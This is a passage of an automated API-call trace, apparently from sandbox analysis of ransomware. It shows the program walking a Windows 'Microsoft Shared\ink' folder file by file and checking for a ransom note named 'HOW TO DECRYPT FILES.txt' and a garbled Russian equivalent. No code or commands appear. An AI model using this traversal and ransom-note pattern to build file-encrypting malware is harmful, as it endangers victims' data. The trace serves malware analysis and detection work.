Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.132] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.132] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.132] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.133] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_altgr.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" [0058.133] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0058.133] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.133] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_ca.xml") returned 1 [0058.133] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_ca.xml") returned 1 [0058.133] lstrcmpiA (lpString1="", lpString2="base_ca.xml") returned -1 [0058.133] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.133] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.133] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.133] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.133] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_ca.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" [0058.133] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0058.133] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.133] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_heb.xml") returned 1 [0058.133] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_heb.xml") returned 1 [0058.133] lstrcmpiA (lpString1="", lpString2="base_heb.xml") returned -1 [0058.134] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.134] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.134] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.134] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.134] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_heb.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" [0058.134] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0058.134] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.134] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_jpn.xml") returned 1 [0058.134] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_jpn.xml") returned 1 [0058.134] lstrcmpiA (lpString1="", lpString2="base_jpn.xml") returned -1 [0058.134] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.134] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.134] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.134] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.134] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_jpn.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" [0058.134] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0058.135] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.135] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_kor.xml") returned 1 [0058.135] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_kor.xml") returned 1 [0058.135] lstrcmpiA (lpString1="", lpString2="base_kor.xml") returned -1 [0058.135] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.135] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.135] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.135] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.135] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_kor.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" [0058.135] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0058.135] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.135] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_rtl.xml") returned 1 [0058.135] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_rtl.xml") returned 1 [0058.135] lstrcmpiA (lpString1="", lpString2="base_rtl.xml") returned -1 [0058.135] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.135] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.135] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.135] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.135] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base_rtl.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" [0058.136] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0058.136] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.136] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ja-jp.xml") returned -1 [0058.136] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ja-jp.xml") returned -1 [0058.136] lstrcmpiA (lpString1="", lpString2="ja-jp.xml") returned -1 [0058.136] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.136] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.136] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.136] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.136] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="ja-jp.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" [0058.136] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0058.136] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.136] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ko-kr.xml") returned -1 [0058.136] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ko-kr.xml") returned -1 [0058.136] lstrcmpiA (lpString1="", lpString2="ko-kr.xml") returned -1 [0058.136] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.136] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.136] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.136] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.137] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="ko-kr.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" [0058.137] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0058.137] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="zh-changjei.xml") returned -1 [0058.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="zh-changjei.xml") returned -1 [0058.137] lstrcmpiA (lpString1="", lpString2="zh-changjei.xml") returned -1 [0058.137] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.137] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.137] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.137] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.137] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="zh-changjei.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" [0058.137] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0058.137] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="zh-dayi.xml") returned -1 [0058.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="zh-dayi.xml") returned -1 [0058.137] lstrcmpiA (lpString1="", lpString2="zh-dayi.xml") returned -1 [0058.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.138] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.138] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.138] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.138] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="zh-dayi.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" [0058.138] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0058.138] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.138] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="zh-phonetic.xml") returned -1 [0058.138] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="zh-phonetic.xml") returned -1 [0058.138] lstrcmpiA (lpString1="", lpString2="zh-phonetic.xml") returned -1 [0058.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.138] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.138] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.138] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO 